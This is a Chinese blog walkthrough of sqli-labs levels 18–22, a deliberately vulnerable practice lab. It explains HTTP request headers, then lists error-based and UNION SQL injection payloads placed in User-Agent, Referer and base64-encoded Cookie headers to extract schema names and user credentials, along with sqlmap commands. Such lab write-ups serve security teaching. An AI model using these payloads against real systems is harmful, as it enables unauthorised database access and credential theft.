sqli-labs通关全解---有关请求头注入--less18-22--7

文章详细介绍了常见的HTTP请求头,如Accept、Accept-Encoding、User-Agent等,并通过实例展示了如何利用F12开发者工具观察它们。接着,文章重点讨论了请求头注入,特别是User-Agent、Referer和Cookie注入,提供了SQL注入的示例,演示了如何通过修改这些头来获取数据库信息。此外,还提到了SQLMap工具在自动化注入测试中的应用。
摘要由CSDN通过智能技术生成

HTTP请求头我们可以通过chrome的F12开发者工具看到,一般的请求头内容如下:

1.Accept
Accept: application/json  浏览器可以接受服务器回发的类型为 application/json。

Accept: */*   代表浏览器可以处理所有类型,(一般浏览器发给服务器都是发这个)。

2.Accept-Encoding
Accept-Encoding: gzip, deflate 浏览器申明自己接收的编码方法,通常指定压缩方法,是否支持压缩,支持什么压缩方法(gzip,deflate),(注意:这不是只字符编码)。

3.Accept-Language
Accept-Language:zh-CN,zh;q=0.9  浏览器申明自己接收的语言。

4.Connection
Connection: keep-alive  当一个网页打开完成后,客户端和服务器之间用于传输HTTP数据的TCP连接不会关闭,如果客户端再次访问这个服务器上的网页,会继续使用这一条已经建立的连接。

 Connection: close 代表一个Request完成后,客户端和服务器之间用于传输HTTP数据的TCP连接会关闭, 当客户端再次发送Request,需要重新建立TCP连接。

5.Host(发送请求时,该报头域是必需的)
Host:www.baidu.com 请求报头域主要用于指定被请求资源的Internet主机和端口号,它通常从HTTP URL中提取出来的。

6.Referer
Referer:https://www.baidu.com/?start=1当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器籍此可以获得一些信息用于处理。

7.User-Agent
User-Agent:Mozilla/...,告诉HTTP服务器, 客户端使用的操作系统和浏览器的名称和版本。

8.Cache-Control
Cache-Control:private 默认为private  响应只能够作为私有的缓存,不能再用户间共享

Cache-Control:public 响应会被缓存,并且在多用户间共享。正常情况, 如果要求HTTP认证,响应会自动设置为 private.

Cache-Control:must-revalidate  响应在特定条件下会被重用,以满足接下来的请求,但是它必须到服务器端去验证它是不是仍然是最新的。

Cache-Control:no-cache  响应不会被缓存,而是实时向服务器端请求资源。

Cache-Control:max-age=10 设置缓存最大的有效时间,但是这个参数定义的是时间大小(比如:60)而不是确定的时间点。单位是[秒 seconds]。

Cache-Control:no-store 在任何条件下,响应都不会被缓存,并且不会被写入到客户端的磁盘里,这也是基于安全考虑的某些敏感的响应才会使用这个。

9.Cookie
Cookie是用来存储一些用户信息以便让服务器辨别用户身份的(大多数需要登录的网站上面会比较常见),比如cookie会存储一些用户的用户名和密码,当用户登录后就会在客户端产生一个cookie来存储相关信息,这样浏览器通过读取cookie的信息去服务器上验证并通过后会判定你是合法用户,从而允许查看相应网页。当然cookie里面的数据不仅仅是上述范围,还有很多信息可以存储是cookie里面,比如sessionid等。

10.Range(用于断点续传)
Range:bytes=0-5 指定第一个字节的位置和最后一个字节的位置。用于告诉服务器自己想取对象的哪部分。

一般来说,比较常见的请求头注入包括:User-Agent注入,Referer注入,Cookie注入,以下通过sqli-labs作为对象进行实验:

less-18 POST -Blind-Boolian/Time Based -Double quotes

尝试构造合法输入admin admin,这次服务器对user-agent进行了回显,因此该题可以尝试进行user-agent请求头注入

通过查看源码,可以确定user-agent注入,同时由于在agent注入之前,先对用户名密码进行了确定,所以需要输入 一个正确的用户名密码,才能引发注入

 使用bp进行抓包,获得post表单提交包

 

尝试进行报错注入,获取数据库名称

'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or'

获取服务器上所有的数据库的名称:

User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '

获取数据库所有数据表名称:

User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or '

 获取password和user:

User-Agent: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '

 尝试使用SQLmap对该题进行测试,将数据包保存为txt文件,以便sqlmap调用

sqlmap -r 1.txt --dbs --level 3

 less-19 Header Injection -Referer field -Error Based

该题的界面与上题基本相同,但是对于正确输入的回显从user agent变为referer,只需要将注入点从useragen变为referer即可

同样使用bp进行抓包以后,对referer进行修改,由于该题具备print_r(mysql_error()),也能够进行报错注入

获取数据库名称 :

Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '

获取数据表名称:

Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or '

 获取用户名和密码:

Referer: ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from pikachu.users),1,31),0x7e),1) or '

尝试使用sqlmap进行注入

sqlmap -r 2.txt --dbs --level 3

less-20 POST Cookie injections -Uagent field -error based

尝试构造正确输入,发现出现的回显包括useragent IP地址,cookie 等,根据题目名称,推断该题的注入点存在于cookie中

使用bp进行抓包

 

该题将会出现俩个报文,第一个为POST表单报文,用于传输用户名和密码,第二个为get请求,用于请求登录成功以后的新报文,携带cookie,根据题意,将具备cookie的报文发送到重发器中,对cookie进行修改

获取数据库的名称:

Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or '

 

 #获取数据库的所有表名称

Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or '

#获取数据库users表的所有列名称

Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) or '

#获取数据库users表的username和password列的所有值

Cookie: uname=admin' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from security.users),1,31),0x7e),1) or '

尝试使用sqlmap进行注入:

sqlmap -r 4.txt --dbs --level 3

 less-21Cookieinjection-Base64encoded-single quotes and parenthesis

该题和上题的操作多了一步base64编码

尝试使用bp进行抓包,可以同20题一样抓到两个报文,一个是用户名密码的POST报文,一个是get报文,带有Cookie,与20题不同的是,此次的cookie进行了编码,按照题目信息。应该进行了base64编码

将被编码的模块复制到decode模块进行解码,可以看到解码结果是admin1 

把admin'放到decoder中,进行编码 

将编码后的结果复制到repeater中,进行发送,可以得知闭合方式是'),同时能够回显出报错信息,因此可以继续报错注入

#获取服务器上所有数据库的名称

Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) or ('

Q29va2llOiB1bmFtZT1hZG1pbicpIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHN1YnN0cigoc2VsZWN0IGdyb3VwX2NvbmNhdChzY2hlbWFfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEpLDEsMzEpLDB4N2UpLDEpIG9yICgn

#获取security数据库的所有表名称

Cookie: uname=admin') or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) or ('

tip:编码的时候如果出现等号,可以先进行base64编码,然后进行url编码

尝试进行sqlmap注入,sqlmap具备一些插件,能够进行编码

sqlmap -r 95.txt --tamper base64encode --dbs --level 3

 

 less-22 Cookie Injection-base64 encoded -double quotes

该题与21题基本相同,都是对cookie进行base64编码,只不过闭合方式由")变为了双引号

首先对闭合方式进行判定

为了弥补前面两关明明可以union注入,偏偏报错注入了的遗憾,这关用union注入来一次。

整个爆数据的编码前的payload如下:

#下面两步找列数

Cookie: uname=admin" order by 3#

Cookie: uname=admin" order by 4#

#确定哪个字段有回显

Cookie: uname=" union select 1,2,3#

#获取服务器上所有数据库的名称

Cookie: uname=" union select 1,2,group_concat(schema_name) from information_schema.schemata#

#获取pikachu数据库的所有表名称

Cookie: uname=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

#获取security数据库users表的所有列名称

Cookie: uname=" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

 

 

尝试使用sqlmap进行注入.

sqlmap -r 94.txt --tamper base64encode --dbs --level 3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值